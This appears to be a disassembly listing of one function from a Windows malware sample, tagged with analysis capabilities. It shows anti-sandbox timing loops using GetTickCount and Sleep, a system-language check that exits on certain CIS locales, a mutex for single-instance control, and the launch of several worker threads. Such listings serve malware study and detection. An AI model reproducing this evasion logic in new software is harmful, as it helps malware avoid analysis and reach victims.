Function at 0x140009b10
Capabilities:
Check for time delay via gettickcount
Create thread
Identify system language via api
Terminate process

Disassembly:
push rbp
push rbx
lea rbp, [rsp - 0x158]
sub rsp, 0x258
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1388
jae 0x140009b5a
nop dword [rax]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1388
jb 0x140009b40
call qword [sym.imp.KERNEL32.dll_GetTickCount]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1388
jae 0x140009b8b
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call qword [sym.imp.KERNEL32.dll_GetTickCount]
sub eax, ebx
cmp eax, 0x1388
jb 0x140009b71
lea rcx, str.winmm.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, [0x14001e1f0]
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.kernel32.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.user32.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.gdi32.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.winspool.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.comdlg32.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.advapi32.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.shell32.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.ole32.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.oleaut32.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.uuid.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.odbc32.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.dnsapi.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.odbccp32.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.Version.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.COMCTL32.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.Ws2_32.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.mswsock.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.wininet.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
xor r8d, r8d
lea rcx, [0x14001e1f0]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
lea rcx, str.apphelp.dll
xor r8d, r8d
xor edx, edx
call qword [sym.imp.KERNEL32.dll_LoadLibraryExA]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140017040
call fcn.140012f50
cmp eax, 1
jne 0x140009d71
lea rax, [rbp + 0x188]
xor ebx, ebx
lea r8, [0x140013400]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rbp + 0x188], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call qword [sym.imp.KERNEL32.dll_GetSystemDefaultUILanguage]
movzx ecx, ax
lea eax, [rcx - 0x402]
cmp eax, 0x3e
ja 0x140009d99
movabs rdx, 0x6000020306800001
bt rdx, rax
jb 0x14000a047
cmp ecx, 0x141a
je 0x14000a047
cmp ecx, 0x819
je 0x14000a047
cmp ecx, 0xc1a
je 0x14000a047
cmp ecx, 0x843
je 0x14000a047
cmp ecx, 0x443
je 0x14000a047
xor ebx, ebx
mov dword [rsp + 0x34], ebx
mov dword [rbp + 0x170], ebx
mov dword [rbp + 0x178], ebx
mov dword [rbp + 0x180], ebx
mov dword [rsp + 0x30], ebx
call fcn.1400135e0
call fcn.140012f50
cmp eax, 1
jne 0x140009e3e
lea rax, [rbp + 0x188]
lea r8, [0x140013400]
xor r9d, r9d
mov qword [rsp + 0x28], rax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
mov dword [rbp + 0x188], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov qword [rsp + 0x250], rdi
call fcn.140014640
lea rcx, [rsp + 0x42]
xor edx, edx
mov r8d, 0x206
mov word [rsp + 0x40], bx
mov edi, eax
call fcn.1400033f0
lea rdx, [rsp + 0x40]
mov r8d, 0x104
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea rcx, [rsp + 0x40]
call qword [sym.imp.SHLWAPI.dll_PathStripPathW]
lea rdx, [0x140047860]
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_lstrcmpW]
lea r8, [0x1400480a0]
xor edx, edx
mov ecx, 0x1f0001
call qword [sym.imp.KERNEL32.dll_OpenMutexW]
test rax, rax
je 0x140009ece
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
call fcn.140011810
mov edx, 1
call fcn.14000e0c0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea r8, [0x1400480a0]
mov edx, 1
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
call fcn.1400124e0
call fcn.1400125e0
call fcn.14000ff20
lea rax, [rsp + 0x34]
lea r8, [0x14000a090]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rax, [rbp + 0x170]
lea r8, [0x14000a4c0]
mov qword [rsp + 0x28], rax
mov r9d, 1
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
cmp edi, 0x27
jb 0x140009f93
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x178]
lea r8, [0x14000a4c0]
mov qword [rsp + 0x28], rax
mov r9d, 2
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x180]
mov r9d, 3
jmp 0x14000a00d
mov ecx, 0x61a8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x178]
lea r8, [0x14000a4c0]
mov qword [rsp + 0x28], rax
mov r9d, 2
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x61a8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rbp + 0x180]
lea r8, [0x14000a4c0]
mov qword [rsp + 0x28], rax
mov r9d, 3
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x61a8
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [rsp + 0x30]
mov r9d, 4
mov qword [rsp + 0x28], rax
lea r8, [0x14000a4c0]
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
call fcn.140014ea0
or ecx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_Sleep]
mov rdi, qword [rsp + 0x250]
add rsp, 0x258
pop rbx
pop rbp
ret
lea rax, [rbp + 0x188]
xor ebx, ebx
lea r8, [0x140013400]
mov qword [rsp + 0x28], rax
xor r9d, r9d
xor edx, edx
xor ecx, ecx
mov dword [rbp + 0x188], ebx
mov dword [rsp + 0x20], ebx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov ecx, 0x3a98
call qword [sym.imp.KERNEL32.dll_Sleep]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]